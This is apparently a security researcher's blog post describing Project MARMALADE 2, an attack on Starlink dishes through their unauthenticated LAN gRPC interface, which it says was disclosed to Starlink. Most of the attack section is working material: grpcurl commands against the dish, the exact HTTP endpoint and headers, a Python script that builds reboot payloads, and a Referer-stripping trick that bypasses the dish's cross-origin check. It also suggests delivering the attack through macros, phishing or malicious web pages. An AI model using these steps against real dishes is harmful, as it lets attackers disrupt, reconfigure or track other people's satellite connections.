Starlink gRPC Execution

Project MARMALADE 2

High Level Brief

MARMALADE 2 allows administrative actions to be taken against target Starlink devices without permission. These administrative actions are all in-built legitimate features of Starlink devices intended to allow Starlink (the company) to manage its devices. However, MARMALADE 2 gives you the ability to weaponise these actions. This will allow such actions as rebooting Starlink or eliciting information, among other things. This disrupts the system denying its use and denying the users.

This blog post outlines the build process, instructions on using MARMALADE 2, and suggestions on how to deploy it against target devices.

The focus of this document is on using MARMALADE 2 to disrupt Starlink devices, specifically extacting data from the Dish itself and then forcing it to shutdown.

It should be noted this was disclosed to Starlink’s vulnerability management team under Responsible Disclosure and they have given permission for this to be published.

Introduction

Project MARMALADE covers the vulnerability research (VR) and exploit development against Starlink devices. MARMALADE 1 was a Denial of Service exploit against the built-in router in Starlink Minis which caused the router to enter a never ending boot loop when communicated to a specially crafted IPv6 address. This was disclosed to Starlink under responsible disclosure and has been patched as of 21.08.24.

MARMALADE 2 is based around the discovery that the Starlink dish hosts a gRPC service accessible directly on the LAN unauthenticated. This allows any device on the LAN to perform administrative functions directly against the dish, including but not limited to, rebooting the dish, physically rotating it, forcing it to expose its configuration, etc.

While interacting with a gRPC service natively from something like a browser is usually not possible without proxy-ware, due to some diagnostic features of the dish, users on the LAN can send specially crafted binary over HTTP 1.1 directly to the dish which is converted to gRPC on-device and executed.

This creates a payload, where a Threat Actor (TA) simply needs to send 3 bytes of binary over HTTP from any device they have access to on the LAN to interact with the dish. If combined with something like a browser RCE exploit, Browser CORs bypass, existing implant, spear-phishing payload, etc to gain Code Execution on the LAN a Threat Actor could remotely disrupt the network easily.

To achieve this for anything more than the “reboot” and “stow” gRPC commands, which are natively supported by the dish’s debug functionality, we need to reverse engineer the dish’s proto files from an extracted compiled protoset file to be able to generate our own valid binary data to then hijack the dish’s debug interface and gain arbitrary gRPC execution.

Attack Pathway

gRPC

To begin with let’s look at controlling a friendly Starlink dish via its gRPC service. This underlines the entire capability chain and also lists all possible capabilities with this exploit.

Using a generic gRPC client such as gRPCurl we can communicate with the dish. Note the dish always has a static IPv4 address of 192.168.100.1 and it runs its gRPC interface on port 9200.

Run the command:

grpcurl -plaintext 192.168.100.1:9200 describe SpaceX.API.Device.Request 

This interacts with the “Device” proto and asks it to ‘describe’ valid requests:

As you can see there is a lot we can do with this API. It should be noted that during testing a number of these API calls responded “Unimplemented” meaning that the API call is not possible on this version of firmware. This could be planned for future firmware updates or have been removed and did work on older firmware versions. Additionally a handful of API calls did want authentication.  

Interacting with raw gRPC is far from user friendly and there are plenty of open source tools that allow us to use other languages like Python, Rust, C#, etc.

For example the python tools found in this Git Repo: https://github.com/sparky8512/starlink-grpc-tools which has lots of helpful prebuilt tools:

The main thing we need to do here is extract the ‘protoset’ file. This is a compiled binary which acts like a kind of manifest for gRPC communications. It allows clients to structure their commands in ways the service expects. Extracting this is relatively straightforward. Using the Python script in the starlink-grpc-tools it is as simple as:

Or directly with gRPCurl:

grpcurl -plaintext -protoset-out "starlink.protoset" "192.168.100.1:9200" describe SpaceX.API.Device.Device

Additionally an archive of device protosets can be found here:

https://github.com/clarkzjw/starlink-grpc-golang/tree/master/protoset

Now we have our protoset we need to decompile it.

Protoset to Proto Files

Doing this requires a relatively complex build environment. The following steps work on a clean install of Debian:

First things first:

sudo apt-get update

Next we need to install PHP8.3. Save existing php package list to packages.txt file

sudo dpkg -l | grep php | tee packages.txt 

Add Ondrej's repo source and signing key along with dependencies

sudo apt install apt-transport-https 
sudo curl -sSLo /usr/share/keyrings/deb.sury.org-php.gpg https://packages.sury.org/php/apt.gpg 
sudo sh -c 'echo "deb [signed-by=/usr/share/keyrings/deb.sury.org-php.gpg] https://packages.sury.org/php/ $(lsb_release -sc) main" > /etc/apt/sources.list.d/php.list' 
sudo apt update 

Install new PHP 8.3 packages

sudo apt install php8.3 php8.3-cli php8.3-{bz2,curl,mbstring,intl} 

Install FPM

sudo apt install php8.3-fpm 

On Apache: Enable PHP 8.3 FPM

sudo a2enconf php8.3-fpm 

Remove old packages

sudo apt purge php8.2* 

Restart Apache for completeness

sudo systemctl reload apache2 

Install Composer

sudo apt-get install composer 

Install PECL

sudo apt-get install autoconf zlib1g-dev php-dev php-pear

Install npm

sudo apt-get install npm 

Install gRPC (Will take a long time)

sudo pecl install grpc 

Enable the extension. Add this line anywhere in your php.ini file, for example, /etc/php/8.3/cli/php.ini. You can find this file by running php --ini

sudo nano /etc/php/8.3/cli/php.ini 
extension=grpc.so 

Add gRPC to the PHP project

composer require "grpc/grpc:^1.38" 

Get the decompiler

wget https://github.com/SRWieZ/grpc-protoset/archive/refs/heads/main.zip 
unzip main.zip 
cd grpc-protoset-main 

Install the PHP Protoset decompiler

composer require srwiez/grpc-protoset 

Decompile the protoset file into proto files

php cli/converter.php "protosetfile.protoset" ./proto

We should now have a new directory called proto that has proto files for all API endpoints. It should look something like this:

Most of the API endpoints, as outlined above, are in the device.proto API but there is certainly endpoints of interest in the other proto file APIs.

Now we have the readable proto file we effectively have a map for binary data and we can compile this into a range of executable formats such as python, JavaScript, TypeScript, etc. More on this later.

Hijacking the debug interface

If you browse directly to your Starlink dish you will see this interface:

This is interesting because there are two buttons. One to “reboot” and another to “stow”. These are executed with JavaScript. If we intercept our browser traffic while this page is open we see a constant stream of these POST requests:

So on port 9201 we are sending some form of data to the API URI:

 /SpaceX.API.Device.Device/Handle 

with a header of:

Content-Type: application/grpc-web+proto

and some Cross Site Origin headers.

Digging into this, let’s see what we get back from those requests:

It looks like we are getting status information back. In this POST, Burp is representing the gRPC data as “÷” but looking at the raw Hex data we can see it is actually 04 82 F7 02 00 (this will be important later):

Now if you notice that API URI structure “/SpaceX.API.Device.Device/” that is exactly the proto folder structure:

So we now know if we send a POST, from the LAN to a host of http://192.168.100.1:9201 with a URI of /SpaceX.API.Device.Device/Handle with the Headers of:

X-User-Agent: grpc-web-javascript/0.1 
 X-Grpc-Web: 1 
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36 
 Content-Type: application/grpc-web+proto 
 Accept: */* 
 Origin: http://192.168.100.1 
 Referer: http://192.168.100.1/ 
 Accept-Encoding: gzip, deflate, br 
 Accept-Language: en-US,en;q=0.9 
 Connection: close

Then we can directly request the device.proto API to do whatever we want. And remember that the potential API list is:

SignedData 
RebootRequest 
SpeedTestRequest 
GetStatusRequest 
AuthenticateRequest 
GetNextIdRequest 
GetHistoryRequest 
GetDeviceInfoRequest 
GetPingRequest 
SetTrustedKeysRequest 
FactoryResetRequest 
GetLogRequest 
SetSkuRequest 
UpdateRequest 
GetNetworkInterfacesRequest 
PingHostRequest 
GetLocationRequest 
GetHeapDumpRequest 
RestartControlRequest 
FuseRequest 
GetPersistentStatsRequest 
GetConnectionsRequest 
StartSpeedtestRequest 
GetSpeedtestStatusRequest 
ReportClientSpeedtestRequest 
InitiateRemoteSshRequest 
SelfTestRequest 
SetTestModeRequest 
SoftwareUpdateRequest 
EnableDebugTelemRequest 
IQCaptureRequest 
GetRadioStatsRequest 
GetTimeRequest 
RunIperfServerRequest 
TcpConnectivityTestRequest 
UdpConnectivityTestRequest 
SignedData 
DishStowRequest 
DishGetContextRequest 
DishSetEmcRequest 
DishGetObstructionMapRequest 
DishGetEmcRequest 
DishSetConfigRequest 
DishGetConfigRequest 
DishPowerSaveRequest 
DishInhibitGpsRequest 
DishGetDataRequest 
DishClearObstructionMapRequest
DishSetMaxPowerTestModeRequest 
DishActivateRssiScanRequest 
DishGetRssiScanResultRequest 
DishFactoryResetRequest 
ResetButtonRequest 
WifiSetConfigRequest 
WifiGetClientsRequest 
WifiSetupRequest 
WifiGetPingMetricsRequest 
WifiGetConfigRequest 
WifiSetMeshDeviceTrustRequest 
WifiSetMeshConfigRequest 
WifiGetClientHistoryRequest 
WifiSetAviationConformedRequest 
WifiSetClientGivenNameRequest 
WifiSelfTestRequest 
WifiCalibrationModeRequest 
WifiGuestInfoRequest 
WifiRfTestRequest 
WifiGetFirewallRequest 
WifiTogglePoeNegotiationRequest 
WifiFactoryTestCommandRequest 
WifiStartLocalTelemProxyRequest 
WifiRunSelfTestRequest 
WifiBackhaulStatsRequest 
WifiToggleUmbilicalModeRequest 
WifiClientSandboxRequest 
TransceiverIFLoopbackTestRequest 
TransceiverGetStatusRequest 
TransceiverGetTelemetryRequest 
Services.Unlock.StartUnlockRequest 
Services.Unlock.FinishUnlockRequest 
GetDiagnosticsRequest

Although as mentioned above a number of these require further investigation to weaponize successfully.

Next we need to know what specifically to send to that endpoint to achieve the desired outcomes. So let’s try and generate a reboot packet. This will be best to do because we can validate it against what the “reboot” button on the page sends.

Firstly we need to compile that device.proto file into a python library so we can use python as a translator. That’s done with:

protoc --python_out=. device.proto

We now have a device_pb2.py file. Create a new Python script call rebootGen.py with the below script:

from device_pb2 import Request, RebootRequest 
 # Constructing the RebootRequest 
 request = Request() 
 request.reboot.CopyFrom(RebootRequest()) 
 # Serialize to binary 
 serialized_data = request.SerializeToString() 
 print("Serialized Data:", serialized_data.hex())

Now obviously you would change this to be whatever function you want to achieve. But the idea is this will use the python library we created from a decompiled proto file to serialise the correct binary data we need to send to trigger a reboot action. Running that script gives us:

We can test this result easy enough. Lets intercept our traffic again and press the “reboot” button and see what we get:

And in Hex:

The leading 03 is just the length of the data and the next 3 bytes match! Looking at the original Hex data we had that showed status data was: 04 82 F7 02 00 that has a length of 4 and the next 4 bytes decode to 6000 which if we look inside the proto file:

Which makes sense as we were getting diagnostic information.

And for the record ca 3e 00 decodes to 1001 which if we look in the proto file:

So to recap, we have:

• Extracted the protoset file from the current firmware.

• Reverse engineered the protoset file to the individual API proto files.

• Created a script that gives us the hex representation of the binary data of different API request.

• Discovered the HTTP packet structure to request the dish’s gRPC service to perform actions.

This means that with just a few bytes of data, sent over HTTP, to a statically defined and hard coded IP address we can perform a number of administrative functions, and we can do this all natively without any special software on the target’s device. But Starlink have one more bit of defence in place.

Bypassing Cross Origin protection

This is technically a vulnerability in its own right. If you remember early when we looked at the packets we needed the headers:

This is to make sure that the request has actually come from the JavaScript provided by the dish and not anywhere else. If we just execute our new packet via some JavaScript or Python or whatever we get this:

However, the dish validates this by only looking at the “Referer” header, not the “Origin” header. And what’s worse, if you forcibly remove the “Referer” header it completely bypasses its Cross Origin policy:

This is pretty trivial to do with something like a meta tag in a HTML site:

<meta name="referrer" content="never">

NOTE: THIS BYPASSES THE CROSS ORIGIN POLICY OF THE STARLINK. IF USING SOMETHING LIKE A MALICOUS WEB SERVER WITH JAVASCRIPT TO SERVE THIS PAYLOAD TO AN UNSUSPECTING USER YOU WILL STILL NEED TO BYPASS CORS ON THE TARGET USER’S BROWSER.

Execution

There is many, many, ways this could be executed. Pretty much any device on the planet that has a network connection and is on the LAN could execute this. However I wanted to demonstrate a few options.

Word Macro:

JavaScript:

PowerShell:

Conclusion

You are now in a position to generate the required binary bytes needed to perform a range of unauthenticated actions against the Starlink dish, natively, on almost any device in existence with a NIC. How this could be used to perform further damage than just light disruption is unclear at this stage. However a number of the API calls that do work unauthenticated such as getHistory have tilt, rotation and elevation as well as hardware and software versions. I wonder if this could be used to geo-locate things like warships that utilise Starlink, or at the very least fingerprint them for SIGINT collection.

Previous
Previous

EvilVPN